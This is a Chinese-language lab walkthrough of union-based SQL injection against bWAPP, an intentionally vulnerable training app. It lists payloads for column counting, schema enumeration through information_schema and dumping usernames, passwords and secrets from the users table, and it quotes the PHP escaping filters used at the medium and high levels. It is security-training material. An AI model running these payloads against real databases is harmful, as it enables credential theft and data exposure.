bWAPP – SQL Injection (Union 注入)
注入基本流程
-
判断存在注入
1' or 1=1#
-
判断字段数量
1' order by 8#`
#(报错)
1' order by 7#
#(正常回显,存在7个字段)
- 判断可注入字段位置
1' union select 1,2,3,4,5,6,7 #
(回显 2 3 5 4 字段可以替换)
-
使用内置函数查看数据库信息
1' union select 1,database(),version(),user(),5,6,7 #
-
查看表名
1' union select 1,database(),version(),user(),table_name,6,7 from information_schema.tables#
-
获取表字段名
1' union select 1,database(),version(),table_name,column_name,6,7 from information_schema.columns where table_name="users"#
-
提权相关信息
1' union select 1,login,Password,email,secret,6,7 from users#
-
low
1' union select 1,login,Password,email,secret,6,7 from users#
-
mid
function sqli_check_1($data) { return addslashes($data); // 语法 addslashes ( string $str ) : string // 返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。 // 这些字符是单引号(')、双引号(")、反斜线(\)与 NUL(NULL 字符)。 }
-
high
function sqli_check_3($link, $data) { return mysqli_real_escape_string($link, $data); // 面向对象风格 // mysqli::escape_string ( string $escapestr ) : string // mysqli::real_escape_string ( string $escapestr ) : string // 过程化风格 // mysqli_real_escape_string ( mysqli $link , string $escapestr ) : string // 此函数用来对字符串中的特殊字符进行转义, 以使得这个字符串是一个合法的 SQL 语句。 // 传入的字符串会根据当前连接的字符集进行转义,得到一个编码后的合法的 SQL 语句。 }